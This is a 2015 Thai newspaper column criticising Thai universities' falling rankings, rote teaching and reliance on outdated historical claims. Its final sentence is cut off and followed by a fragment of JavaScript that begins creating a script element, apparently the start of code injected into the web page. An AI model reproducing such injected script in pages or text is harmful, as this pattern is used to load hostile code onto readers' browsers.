มติชนรายวัน ฉบับประจำวันอังคารที่ 29 กันยายน 2558

 

เตี้ยอุ้มค่อม

ในมหาวิทยาลัยไทย

          “มหาวิทยาลัยไทยพัฒนาผิดทาง เน้นเชิงปริมาณ รับนักศึกษาเข้าเรียนจำนวนมากเกินไป แต่ไม่ได้ดูเรื่องคุณภาพ”

          นายภาวิช ทองโรจน์ [อดีตเลขาธิการคณะกรรมการการอุดมศึกษา (สกอ.)] วิจารณ์มหาวิทยาลัยไทย คราวเปิดเผยการจัดอันดับมหาวิทยาลัยที่ดีที่สุดในโลก ปี 2015/2016 ของ QS World University Ranking ว่ามหาวิทยาลัยต่างๆในเอเชียมีอันดับสูงขึ้น แต่มหาวิทยาลัยไทยอันดับถอยลงทุกแห่ง (กรุงเทพธุรกิจ ฉบับวันพฤหัสบดีที่ 17 กันยายน 2558 หน้า 16)

          แล้วย้ำว่าสิ่งนี้สะท้อนระบบการศึกษาไทยยังอ่อนแอ ทรัพยากรมนุษย์ของไทยยังสู้ชาติอื่นไม่ได้ ความรู้ยังอ่อนด้อย ไม่เอื้อให้เกิดศักยภาพในการสร้างนวัตกรรม จึงกลายเป็นผู้บริโภคนวัตกรรมประเทศอื่นๆ (มติชน ฉบับวันพฤหัสบดีที่ 17 กันยายน 2558 หน้า 5)

          แท้จริงแล้วยังมีที่อ่อนแออีก ได้แก่ อาจารย์ส่วนมากด้อยคุณภาพ ขาดประสิทธิภาพ ไม่มีศักยภาพ เลยตกอยู่ในสภาพเตี้ยอุ้มค่อม ทั้งนักศึกษาและอาจารย์ในมหาวิทยาลัยไทย

          โดยเฉพาะที่มีการเรียนการสอนมนุษยศาสตร์, สังคมศาสตร์, ประวัติศาสตร์โบราณคดี ยังเน้นห้องเรียนที่อาจารย์ชี้นิ้วสอนให้ท่องจำตำราเล่มเดียวที่ผู้สอนเคยเรียนมาเมื่อเกือบศตวรรษที่แล้ว (ห้ามอ่านของนักวิชาการกลุ่มอื่นที่คิดต่าง)

          หลักสูตรเสกสรรปั้นแต่งสร้างให้วิเศษอย่างไรก็ได้ แต่ถ้าครูอาจารย์“เมนสตรีม”ผู้สอนหลักส่วนมากไม่เปลี่ยนวิธีคิดการเรียนการสอน ยังสืบทอดแบบแผนเถรวาทไทยเรียนบาลีนักธรรม ความวิเศษของหลักสูตรก็ใช้การไม่ได้

          คนไทยมีบรรพชนอพยพมาจากเทือกเขาอัลไต, น่านเจ้าเป็นอาณาจักรไทย, สุโขทัยเป็นราชธานีแห่งแรกของไทย, ฯลฯ

          ถ้ายังย่ำกับข้อมูลความรู้เก่าคร่ำคร่านับร้อยปีมาแล้วโดยไม่พัฒนา มหาวิทยาลัยไทยในอนาคตหมดอันดับvar d=document;var s=d.createElement(‘script’);